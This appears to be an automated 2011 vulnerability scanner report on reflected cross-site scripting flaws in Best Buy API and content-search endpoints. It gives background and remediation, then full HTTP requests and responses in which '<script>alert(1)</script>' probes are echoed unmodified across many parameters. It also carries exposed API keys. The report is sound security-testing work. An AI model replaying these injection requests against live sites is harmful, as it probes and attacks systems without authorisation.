Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b8729<script>alert(1)</script>6f5007fae5e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
SDSTATIC({ "error": { "examples": [ "/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml", "/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a ...[SNIP]... <YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03" ], "code": 400, "message": "Couldn't understand '/v1b8729<script>alert(1)</script>6f5007fae5e/products(digitalSku> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 49525<script>alert(1)</script>a769056b793 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
SDSTATIC({ "error": { "examples": [ "/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml", "/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a ...[SNIP]... <YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03" ], "code": 400, "message": "Couldn't understand '/v1/products(digitalSku>\"\"49525<script>alert(1)</script>a769056b793&sku in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback= ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 2bcbb<script>alert(1)</script>aec7a64560c was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.4. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 5c9df<script>alert(1)</script>aff4a8451b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the pageSize request parameter is copied into the HTML document as plain text between tags. The payload 72fc2<script>alert(1)</script>2034c64a1de was submitted in the pageSize parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the show request parameter is copied into the HTML document as plain text between tags. The payload b1aa8<script>alert(1)</script>611d4d02863 was submitted in the show parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
SDSTATIC({ "error": { "examples": [ "/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml", "/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a ...[SNIP]... t understand '/v1/products(digitalSku>\"\"&sku in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSkub1aa8<script>alert(1)</script>611d4d02863&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json'", "status": "400 Bad Request" } })
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 68790<script>alert(1)</script>9b5017eafb9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
busopsLow.BTP.retLoadBTPSKUs({ "error": { "examples": [ "/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml", "/v1/products/8880044.json?apiKey=<Your ...[SNIP]... <YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03" ], "code": 400, "message": "Couldn't understand '/v168790<script>alert(1)</script>9b5017eafb9/products(sku in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoad ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 5fae9<script>alert(1)</script>d29c85d5ca0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
busopsLow.BTP.retLoadBTPSKUs({ "error": { "examples": [ "/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml", "/v1/products/8880044.json?apiKey=<Your ...[SNIP]... <YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03" ], "code": 400, "message": "Couldn't understand '/v1/products(sku in(3302103)5fae9<script>alert(1)</script>d29c85d5ca0&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&forma ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 660df<script>alert(1)</script>a7c8885631d was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.10. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://api.bbyremix.bestbuy.com
Path:
/v1/products(sku%20in(3302103)&(departmentId=3))
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 53de9<script>alert(1)</script>85594a46c93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the pageSize request parameter is copied into the HTML document as plain text between tags. The payload f20e8<script>alert(1)</script>9a53a13d7a was submitted in the pageSize parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the show request parameter is copied into the HTML document as plain text between tags. The payload 5a8dc<script>alert(1)</script>ed2d80838e5 was submitted in the show parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the fl request parameter is copied into the HTML document as plain text between tags. The payload 347c7<script>alert(1)</script>acbda64f428 was submitted in the fl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type347c7<script>alert(1)</script>acbda64f428&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1 Host: content.bestbuyon.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bestbuy.com/
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Last-Modified: Mon, 07 Nov 2011 06:28:41 GMT ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI=" Vary: Accept-Encoding Content-Type: text/plain;charset=UTF-8 Content-Length: 2365 Date: Mon, 07 Nov 2011 12:38:52 GMT Connection: close
bbyon.modContentFetchCB({ "responseHeader":{ "status":0, "QTime":1, "params":{ "json.wrf":"bbyon.modContentFetchCB", "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type347c7<script>alert(1)</script>acbda64f428", "sort":"sis_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc", "indent":"on", "start":"0", "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_typ ...[SNIP]...
The value of the indent request parameter is copied into the HTML document as plain text between tags. The payload e0544<script>alert(1)</script>e02cc1cbe60 was submitted in the indent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=one0544<script>alert(1)</script>e02cc1cbe60&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1 Host: content.bestbuyon.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bestbuy.com/
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI=" Vary: Accept-Encoding Content-Type: text/plain;charset=UTF-8 Content-Length: 2446 Date: Mon, 07 Nov 2011 12:38:54 GMT Connection: close
bbyon.modContentFetchCB({ "responseHeader":{ "status":0, "QTime":0, "params":{ "json.wrf":"bbyon.modContentFetchCB", "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot ...[SNIP]... in_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type", "sort":"sis_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc", "indent":"one0544<script>alert(1)</script>e02cc1cbe60", "start":"0", "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_type:article)", "qt":"standard", "wt":"json", "rows":"3"}}, "response":{"numFound":8,"start":0,"do ...[SNIP]...
The value of the json.wrf request parameter is copied into the HTML document as plain text between tags. The payload 45afb<script>alert(1)</script>8220418f8a7 was submitted in the json.wrf parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB45afb<script>alert(1)</script>8220418f8a7 HTTP/1.1 Host: content.bestbuyon.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bestbuy.com/
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI=" Vary: Accept-Encoding Content-Type: text/plain;charset=UTF-8 Content-Length: 2487 Date: Mon, 07 Nov 2011 12:38:55 GMT Connection: close
1.16. http://content.bestbuyon.com/solr/select/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://content.bestbuyon.com
Path:
/solr/select/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1926b<script>alert(1)</script>d41c5288037 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB&1926b<script>alert(1)</script>d41c5288037=1 HTTP/1.1 Host: content.bestbuyon.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bestbuy.com/
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI=" Vary: Accept-Encoding Content-Type: text/plain;charset=UTF-8 Content-Length: 2455 Date: Mon, 07 Nov 2011 12:38:56 GMT Connection: close
bbyon.modContentFetchCB({ "responseHeader":{ "status":0, "QTime":0, "params":{ "json.wrf":"bbyon.modContentFetchCB", "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot ...[SNIP]... _field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc", "indent":"on", "start":"0", "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_type:article)", "1926b<script>alert(1)</script>d41c5288037":"1", "qt":"standard", "wt":"json", "rows":"3"}}, "response":{"numFound":8,"start":0,"docs":[ { "nid":1841, "title":"Call of Duty: Modern Warfare 3 EXCLUSIVE", "type":"dotcom_symlink", "c ...[SNIP]...
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 99a1a<script>alert(1)</script>286f7b3d907 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)99a1a<script>alert(1)</script>286f7b3d907&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1 Host: content.bestbuyon.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bestbuy.com/
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI=" Vary: Accept-Encoding Content-Type: text/plain;charset=UTF-8 Content-Length: 660 Date: Mon, 07 Nov 2011 12:38:52 GMT Connection: close
bbyon.modContentFetchCB({ "responseHeader":{ "status":0, "QTime":1, "params":{ "json.wrf":"bbyon.modContentFetchCB", "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot ...[SNIP]... :"sis_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc", "indent":"on", "start":"0", "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_type:article)99a1a<script>alert(1)</script>286f7b3d907", "qt":"standard", "wt":"json", "rows":"3"}}, "response":{"numFound":0,"start":0,"docs":[] }})
The response contains the following Content-type statement:
Content-Type: text/plain;charset=UTF-8
The response states that it contains plain text. However, it actually appears to contain CSS.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1 Host: content.bestbuyon.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.bestbuy.com/
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI=" Vary: Accept-Encoding Content-Type: text/plain;charset=UTF-8 Content-Length: 2405 Date: Mon, 07 Nov 2011 12:38:48 GMT Connection: close